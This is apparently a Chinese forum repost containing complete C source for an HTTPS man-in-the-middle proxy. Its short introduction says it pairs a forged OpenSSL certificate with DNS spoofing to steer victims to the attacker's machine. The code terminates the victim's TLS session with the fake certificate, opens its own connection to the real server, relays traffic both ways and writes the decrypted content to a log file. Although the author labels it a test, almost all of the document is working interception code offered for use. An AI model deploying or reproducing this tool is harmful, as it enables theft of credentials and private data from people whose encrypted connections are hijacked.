by 云舒 一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。 代码:
#include <stdio.h> #include <winsock2.h> #include <openssl/ssl.h> #include <openssl/err.h> #pragma comment ( lib, "libeay32.lib" ) #pragma comment ( lib, "ssleay32.lib" ) #pragma comment ( lib, "ws2_32.lib" ) #define PRIVATE_KEY_PWD "1234" #define CERT_FILE "yunshu.crt" #define KEY_FILE "yunshu.key" #define MAX_USER 10 #define LISTEN_PORT 443 #define TIME_OUT 1000000 // 1秒 #define DEBUG #ifdef DEBUG #define LOG_FILE "c:/https.txt" // 记录数据到文件 void Log_File( char *str ); #endif // 目的主机 char target_host[20] = { 0 }; unsigned int target_port = 0; // 输出SSL错误函数 void SSL_Error( char *custom_string ); // 初始化SSL库作为服务端 SSL *Server_SSL_Init( ); // 初始化SSL库作为客户端 SSL *Client_SSL_Init( ); // 初始化Socket作为服务端 SOCKET Server_Socket_Init( ); // 初始化Socket作为客户端 SOCKET Client_Socket_Init( ); // 处理客户端函数 void WINAPI FowardPacket( LPVOID argument ); // 程序入口,主函数 int main( int argc, char *argv[] ) { if( argc != 3 ) { printf( "Usage: %s <target_host> <target_port>/n", argv[0] ); printf( "Code by 云舒,just for test!/n" ); return -1; } SOCKET server_sock = Server_Socket_Init( ); if( INVALID_SOCKET == server_sock ) { return -1; } // 加载加密算法库 SSL_library_init( ); // 加载错误信息库 SSL_load_error_strings( ); // 开始接受连接 SOCKET client_sock; // 来自被攻击者的socket SOCKADDR_IN client_sin; int sin_len = sizeof(SOCKADDR_IN); target_port = atoi( argv[2] ); struct hostent *phost = gethostbyname( argv[1] ); if( phost == NULL ) { printf( "Resolve %s error!/n" , argv[1] ); return -1; } memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) ); memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length ); strcpy( target_host, inet_ntoa( client_sin.sin_addr ) ); printf( "Target host is %s(%s), port is %d/n", target_host, argv[1], target_port ); memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) ); while( TRUE ) { client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len ); printf( "connect from %s/n", inet_ntoa( client_sin.sin_addr ) ); if( SOCKET_ERROR == client_sock ) { printf( "accept error./n" ); continue; } HANDLE h_thread; DWORD thread_id = 0; h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id ); if( NULL == h_thread ) { printf( "create thread error./n" ); } CloseHandle( h_thread ); } closesocket( server_sock ); WSACleanup( ); return 0; } void WINAPI FowardPacket( LPVOID argument ) { char buffer[2048] = { 0 }; // 生成SSL,作为服务端,响应被攻击者的请求 SSL *server_ssl = Server_SSL_Init( ); if( NULL == server_ssl ) { return; } printf( "Init ssl as server success!/n" ); // 生成SSL,作为客户端,向真实主机发起请求 SSL *client_ssl = Client_SSL_Init( ); if( NULL == client_ssl ) { return; } printf( "Init ssl as client success!/n" ); // 作为服务端端的socket,响应被攻击者的请求 SOCKET server_sock = (SOCKET)(*(SOCKET *)argument); // 绑定ssl和socket,此处作为被攻击者的服务器 SSL_set_fd( server_ssl, server_sock ); int ret = SSL_accept( server_ssl ); if( -1 == ret ) { SSL_Error( "SSL_accept error" ); return; } // 作为客户端的socket,向真实主机发起请求 SOCKET client_sock = Client_Socket_Init( ); if( INVALID_SOCKET == client_sock ) { return; } SSL_set_fd( client_ssl, client_sock ); ret = SSL_connect( client_ssl ); if( -1 == ret ) { SSL_Error( "SSL_connect error" ); return; } fd_set fd_read; timeval time_out; while( TRUE ) { time_out.tv_sec = 0; time_out.tv_usec = TIME_OUT; FD_ZERO( &fd_read ); FD_SET( server_sock, &fd_read ); FD_SET( client_sock, &fd_read ); ret = select( 0, &fd_read, NULL, NULL, &time_out ); if( SOCKET_ERROR == ret ) { printf( "socket error: %d/n", GetLastError() ); break; } else if( 0 == ret ) { continue; } else { if( FD_ISSET( server_sock, &fd_read ) ) { memset( (void *)buffer, 0, sizeof(buffer) ); ret = SSL_read( server_ssl, buffer, sizeof(buffer) ); if( ret > 0 ) { ret = SSL_write( client_ssl, buffer, strlen(buffer) ); if( strlen(buffer) != ret ) { SSL_Error( "Send data to real server error" ); } else { printf( "send %d bytes to real server/n", ret ); #ifdef DEBUG Log_File( buffer ); #endif } } } else if( FD_ISSET( client_sock, &fd_read ) ) { memset( (void *)buffer, 0, sizeof(buffer) ); ret = SSL_read( client_ssl, buffer, sizeof(buffer) ); if( ret > 0 ) { //printf( "RESPONSE:/n/t%s/n", buffer ); ret = SSL_write( server_ssl, buffer, strlen(buffer) ); if( strlen(buffer) != ret ) { SSL_Error( "Send data to customer error" ); } else { printf( "send %d bytes to customer's host/n", ret ); #ifdef DEBUG Log_File( buffer ); #endif } } } } } SSL_shutdown( server_ssl ); SSL_shutdown( client_ssl ); SSL_free( server_ssl ); SSL_free( client_ssl ); closesocket( server_sock ); closesocket( client_sock ); return; } void SSL_Error( char *custom_string ) { char error_buffer[256] = { 0 }; printf( "%s, ", custom_string ); ERR_error_string( ERR_get_error(), error_buffer ); printf( "%s/n", error_buffer ); } SSL *Server_SSL_Init( ) { // 加载SSL环境 SSL_CTX *server_ctx = SSL_CTX_new( SSLv23_server_method() ); if( NULL == server_ctx ) { SSL_Error( "Init ssl ctx error" ); return NULL; } // 设置证书文件的口令 SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD ); // 加载证书 if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) <= 0 ) { SSL_Error( "Load cert file error" ); return NULL; } // 加载私钥 if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) <= 0 ) { SSL_Error( "Load cert file error" ); return NULL; } // 检查私钥和证书是否匹配 if( !SSL_CTX_check_private_key( server_ctx ) ) { printf( "Private key does not match the certificate public key/n" ); return NULL; } SSL *ssl = SSL_new (server_ctx); if( NULL == ssl ) { SSL_Error( "Create ssl error" ); return NULL; } return ssl; } SSL *Client_SSL_Init( ) { SSL_CTX *client_ctx; client_ctx = SSL_CTX_new( SSLv23_client_method() ); if( NULL == client_ctx ) { SSL_Error( "Init ssl ctx error" ); return NULL; } SSL *ssl = SSL_new (client_ctx); if( NULL == ssl ) { SSL_Error( "Create ssl error" ); return NULL; } return ssl; } SOCKET Server_Socket_Init( ) { WSADATA wsa; WSAStartup( 0x0202, &wsa ); SOCKET sock = socket( AF_INET, SOCK_STREAM, 0 ); if( INVALID_SOCKET == sock ) { printf( "Create socket as a server error" ); return INVALID_SOCKET; } SOCKADDR_IN server_sin; memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) ); server_sin.sin_family = AF_INET; server_sin.sin_addr.S_un.S_addr = INADDR_ANY; server_sin.sin_port = htons( 443 ); int ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) ); if( SOCKET_ERROR == ret ) { printf( "bind error: %d/n", GetLastError() ); return INVALID_SOCKET; } ret = listen( sock, MAX_USER ); if( SOCKET_ERROR == ret ) { printf( "listen error./n" ); return INVALID_SOCKET; } printf( "Listening on all local ip address, waiting for connect.../n" ); return sock; } SOCKET Client_Socket_Init( ) { SOCKET client_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( INVALID_SOCKET == client_sock ) { printf( "create socket as a client error./n" ); return -1; } SOCKADDR_IN client_sin; memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) ); client_sin.sin_family = AF_INET; client_sin.sin_addr.S_un.S_addr = inet_addr( target_host ); client_sin.sin_port = htons( target_port ); int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) ); if( SOCKET_ERROR == ret ) { printf( "connect to real server %s error", target_host ); return INVALID_SOCKET; } printf( "connect to real server success!/n" ); return client_sock; } #ifdef DEBUG void Log_File( char * str ) { FILE *fp = fopen( LOG_FILE, "w+" ); if( NULL == fp ) { return; } fputs( str, fp ); fclose( fp ); } #endif
转载请注明原文地址: https://ibbs.8miu.com/read-12576.html